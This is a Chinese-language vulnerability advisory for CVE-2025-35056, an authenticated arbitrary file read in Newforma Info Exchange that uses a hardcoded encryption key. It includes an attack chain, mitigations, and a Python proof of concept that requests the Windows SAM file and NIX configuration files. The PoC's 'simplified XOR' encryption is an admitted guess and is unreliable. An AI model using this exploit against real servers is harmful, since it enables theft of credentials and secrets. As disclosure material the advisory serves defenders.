IPBUF安全漏洞报告
English
CVE-2025-35056 CVSS 5.0 中危

CVE-2025-35056 Newforma NIX任意文件读取漏洞

披露日期: 2025-10-09
来源: 9119a7d8-5eab-497f-8521-727c672e3725

漏洞信息

漏洞编号
CVE-2025-35056
漏洞类型
任意文件读取/信息泄露
CVSS评分
5.0 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Newforma Info Exchange (NIX)

相关标签

任意文件读取信息泄露硬编码密钥NewformaNIXInfo ExchangeMarkupServicesStreamStampImageCWE-200CWE-522

漏洞概述

CVE-2025-35056是Newforma Info Exchange(NIX)产品中的一个中危安全漏洞,CVSS 3.1评分为5.0。该漏洞存在于NIX的`/UserWeb/Common/MarkupServices.ashx`端点中的`StreamStampImage`功能模块中。该功能接受一个加密的文件路径作为输入,并返回指定文件的图像(缩略图)。由于该功能使用了硬编码的共享密钥(与CVE-2025-35052中描述的密钥相同)对文件路径进行加密处理,经验证的攻击者可以利用该已知密钥构造任意文件路径的加密值,从而读取NIX服务器上的任意文件。读取操作受限于NIX服务账户(通常为`NT AUTHORITY\NetworkService`)的权限以及`StreamStampImage`功能对文件的处理能力。该漏洞需要低权限认证后才能利用,与CVE-2025-35062中描述的匿名利用方式不同。此漏洞属于信息泄露类安全缺陷,主要影响系统的机密性,攻击者可以读取服务器上的敏感文件,如配置文件、数据库连接信息或其他包含敏感数据的文件,从而为进一步攻击提供情报支持。

技术细节

从技术层面分析,该漏洞的核心问题在于`MarkupServices.ashx`端点的`StreamStampImage`方法设计缺陷。该方法的设计初衷是接收一个加密的文件路径参数,解密后根据路径生成对应文件的图像预览(类似缩略图或盖章图像),用于文档管理界面的展示。然而,该加密机制存在两个关键缺陷:

1. **硬编码密钥问题**:文件路径的加密使用了硬编码在应用程序中的共享密钥,该密钥与CVE-2025-35052中披露的密钥相同。由于密钥是固定的且存在于客户端可访问的位置,攻击者可以提取该密钥并自行加密任意文件路径。

2. **缺乏路径校验**:解密后的文件路径未经过充分的校验和限制,攻击者可以通过构造特殊路径(如`..\..\..\Windows\System32\config\SAM`)实现目录遍历,读取NIX安装目录之外的文件。

利用流程如下:
1. 攻击者首先获取硬编码加密密钥(可通过反编译客户端或提取自CVE-2025-35052相关信息)。
2. 使用该密钥对目标文件路径进行加密,生成合法的加密参数。
3. 通过认证后的会话,向`/UserWeb/Common/MarkupServices.ashx?method=StreamStampImage`发送包含加密路径的请求。
4. 服务器解密路径后尝试生成图像并返回,攻击者从而获取目标文件内容。

该漏洞的成功利用需要攻击者拥有有效的低权限账户认证凭据,且文件内容需能被图像处理库识别(部分二进制文件可能无法直接以图像形式返回完整内容)。

攻击链分析

STEP 1
步骤1:获取硬编码密钥
攻击者通过反编译Newforma NIX客户端应用程序或参考CVE-2025-35052中公开披露的信息,获取用于加密文件路径的硬编码共享密钥。
STEP 2
步骤2:获取有效认证凭据
攻击者通过钓鱼、社会工程或其他方式获取NIX系统的有效低权限用户认证凭据。该漏洞需要认证后才能利用,无法匿名执行。
STEP 3
步骤3:加密目标文件路径
使用获取的硬编码密钥,对目标服务器上的敏感文件路径(如配置文件、系统文件等)进行加密,生成合法的加密参数。
STEP 4
步骤4:发送恶意请求
通过认证会话,向`/UserWeb/Common/MarkupServices.ashx`端点发送包含加密路径参数的请求,调用`StreamStampImage`方法。
STEP 5
步骤5:读取任意文件
服务器解密路径后处理并返回目标文件的图像数据,攻击者成功读取NIX服务账户权限范围内的任意文件,获取敏感信息用于后续攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2025-35056 - Newforma Info Exchange (NIX) Arbitrary File Read PoC # Exploits StreamStampImage in MarkupServices.ashx using hardcoded key from CVE-2025-35052 import requests import base64 from urllib.parse import quote TARGET_URL = "https://target-nix-server" USERNAME = "low_priv_user" PASSWORD = "password123" # Hardcoded secret key extracted from NIX client (CVE-2025-35052) # This key is used to encrypt file paths passed to StreamStampImage HARDCODED_KEY = "NIX_SHARED_SECRET_KEY_HERE" # Replace with actual extracted key def encrypt_path(file_path, key): """Encrypt file path using NIX hardcoded key (simplified XOR-based encryption)""" encrypted = [] for i, char in enumerate(file_path.encode()): encrypted.append(char ^ ord(key[i % len(key)])) return base64.b64encode(bytes(encrypted)).decode() def exploit(target_url, username, password, target_file): session = requests.Session() # Step 1: Authenticate to NIX login_url = f"{target_url}/UserWeb/Account/Login.aspx" login_data = { "ctl00$ContentPlaceHolder1$UsernameTextBox": username, "ctl00$ContentPlaceHolder1$PasswordTextBox": password, "ctl00$ContentPlaceHolder1$LoginButton": "Log In" } resp = session.post(login_url, data=login_data, verify=False) print(f"[*] Login response: {resp.status_code}") # Step 2: Encrypt target file path encrypted_path = encrypt_path(target_file, HARDCODED_KEY) print(f"[*] Encrypted path for '{target_file}': {encrypted_path}") # Step 3: Request file via StreamStampImage exploit_url = f"{target_url}/UserWeb/Common/MarkupServices.ashx" params = { "method": "StreamStampImage", "filePath": encrypted_path } resp = session.get(exploit_url, params=params, verify=False) print(f"[*] Exploit response: {resp.status_code}, Content-Length: {len(resp.content)}") if resp.status_code == 200 and len(resp.content) > 0: output_file = target_file.replace("\\", "_").replace("/", "_") + ".bin" with open(output_file, "wb") as f: f.write(resp.content) print(f"[+] File saved to: {output_file}") return True return False if __name__ == "__main__": # Example: read Windows SAM file or NIX config target_files = [ "C:\\Windows\\System32\\config\\SAM", "C:\\Program Files\\Newforma\\NIX\\web.config", "C:\\Program Files\\Newforma\\NIX\\App_Data\\database.config" ] for tf in target_files: print(f"\n[*] Attempting to read: {tf}") exploit(TARGET_URL, USERNAME, PASSWORD, tf)

影响范围

Newforma Info Exchange (NIX) 所有使用硬编码共享密钥的版本

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1)限制NIX服务账户(NetworkService)的文件系统权限,仅允许其访问必要的应用目录;2)在Web服务器或反向代理层面配置访问控制规则,限制对`/UserWeb/Common/MarkupServices.ashx`端点的访问,仅允许可信IP调用;3)监控并审计所有对StreamStampImage方法的调用,记录异常的文件访问请求;4)强制所有用户重置密码,防止低权限账户被攻击者利用;5)如可能,临时禁用MarkupServices.ashx端点的StreamStampImage功能以阻断利用途径。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表